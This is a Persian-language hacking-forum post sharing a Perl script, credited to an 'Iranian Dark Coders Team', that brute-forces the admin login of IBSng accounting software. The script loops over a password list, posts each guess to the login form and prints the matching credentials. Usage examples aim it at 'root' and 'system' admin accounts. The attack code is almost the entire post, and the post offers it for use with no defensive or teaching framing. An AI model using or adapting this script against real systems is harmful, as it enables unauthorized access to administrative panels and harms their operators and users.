رتبه موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
IBSng BruteForce
#1
کد:
#IBSNG BruteForce
#Public Version
#Coded By M.R.S.CO
#We Are M.R.S.CO,N3O,UB313
#Friends :  G3n3Rall,BlacK.King,Nafsh,b3hz4d,Black.Hack3r
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print q (
         ------------------------------
         |  Iranian Dark Coders Team  |
         ------------------------------
         |      WwW.IDC-TeaM.NeT      |
         ------------------------------
         |     Coded BY M.R.S.CO      |
         ------------------------------
);
use HTTP::Request::Common qw(POST);  
use LWP::UserAgent;
$ua = LWP::UserAgent ->new;
$ua->timeout(15);

if($ARGV[2])
{
  open(file, "<$ARGV[2]") || print "Couldn't open $ARGV[2]\n";
  my @tt =<file>;
  foreach $pass(@tt){
    chomp($pass);
    my $req = POST $ARGV[0], [
     'username'=>  $ARGV[1],
     'password'=> $pass,
     'x'=>'0',
     'y'=> '0'
     ];

  $content = $ua->request($req)->as_string;

  if ($content =~ "Username or Password is incorrect" || $content =~  "Incorrect password")
    {print "*";}else{print "\nuser : $ARGV[1] - pass : $pass\n"; goto en;}
  }
}else{print "\n\t idc.pl ibsng_path user pass_list"; print "\n\t idc.pl http://site.com/ibsng/admin system pass.txt\n";
}
en:;

usage

perl idc.pl ibsng_path user pass_list
perl idc.pl http://site.com/ibsng/admin root pass.txt
[عکس: <a href=www.Mojsazan.com.gif]" class="mycode_img" />
پاسخ
سپاس شده توسط NIMIX3


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان